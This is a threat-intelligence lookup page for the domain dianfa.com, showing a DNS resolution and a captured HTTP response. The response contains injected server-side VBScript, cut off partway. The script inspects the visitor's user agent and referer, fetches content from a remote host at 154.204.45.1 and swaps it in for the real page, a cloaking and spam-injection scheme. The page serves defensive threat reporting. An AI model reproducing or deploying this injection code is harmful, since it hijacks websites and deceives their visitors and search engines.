Help
RSS
API
Feed
Maltego
Contact
Domain > dianfa.com
×
More information on this domain is in
AlienVault OTX
Is this malicious?
Yes
No
DNS Resolutions
Date
IP Address
2024-09-03
61.135.129.38
(
ClassC
)
Port 80
HTTP/1.1 200 OKContent-Length: 16742Content-Type: text/htmlContent-Location: http://dianfa.com/index.htmLast-Modified: Sun, 18 Sep 2022 12:45:19 GMTAccept-Ranges: bytesETag: a4f9aa825ccbd81:fe784Serve html>head>script CodePage936 languagevbscript runatserver> server.Scripttimeout3600Sub Session_OnStart Dim UA,Remote_server,Gethost,Remote_file,Content_mb,ReUrl On Error Resume Next ReUrl LCase(Request.Servervariables(REQUEST_URI)) Gethost LCase(Request.Servervariables(SERVER_NAME)) UA LCase(Request.Servervariables(http_user_agent)) If Err.Number > 0 Then Err.Clear End If Remote_serverhttp://154.204.45.1:999/ If(CKAgent())Then if(CKUrl()) Then Remote_file Remote_server & ?xhost & Gethost &&Reurl & Request.QueryString & &ua & UA & &page1 Content_mbGetHtml(Remote_file) Response.Clear Response.Write(Content_mb) Response.flush Response.End else Remote_file Remote_server & ?xhost & Gethost &&Reurl & Request.QueryString & &ua & UA & &dibu1 Content_mbGetHtml(Remote_file) Response.Clear Response.Write(Content_mb) Remote_file Remote_server & ?xhost & Gethost &&Reurl & Request.QueryString & &ua & UA & &dibu1 Content_mbsGetHtml(Remote_file) Response.Write(Content_mbs) Response.Flush Response.End end if End If If(CKReferer() And CKUrl())Then Remote_file Remote_server&?jump1 Content_mbGetHtml(Remote_file) Response.clear Response.Write(Content_mb) Response.flush Response.End End IfEnd SubFunction GetHtml(url) On Error Resume Next Set ObjXMLHTTPServer.CreateObject(MSXML2.serverXMLHTTP) ObjXMLHTTP.Open GET,url,False ObjXMLHTTP.SetRequestHeader User-Agent,aQ0O010O ObjXMLHTTP.Send GetHtmlObjXMLHTTP.ResponseBody Set ObjXMLHTTPNothing Set ObjStream Server.CreateObject(Adodb.Stream) ObjStream.Type 1 ObjStream.Mode 3 ObjStream.Open ObjStream.Write GetHtml ObjStream.Position 0 ObjStream.Type 2 ObjStream.Charset gb2312 GetHtml ObjStream.ReadText ObjStream.Close If Err.Number > 0 Then Err.Clear End IfEnd FunctionFunction GetUrl() On Error Resume Next Dim ScriptAddress,Servername,qs ScriptAddress CStr(Request.Servervariables(SCRIPT_NAME)) Servername CStr(Request.Servervariables(Server_Name)) qsRequest.QuerySt
View on OTX
|
View on ThreatMiner
Please enable JavaScript to view the
comments powered by Disqus.
Data with thanks to
AlienVault OTX
,
VirusTotal
,
Malwr
and
others
. [
Sitemap
]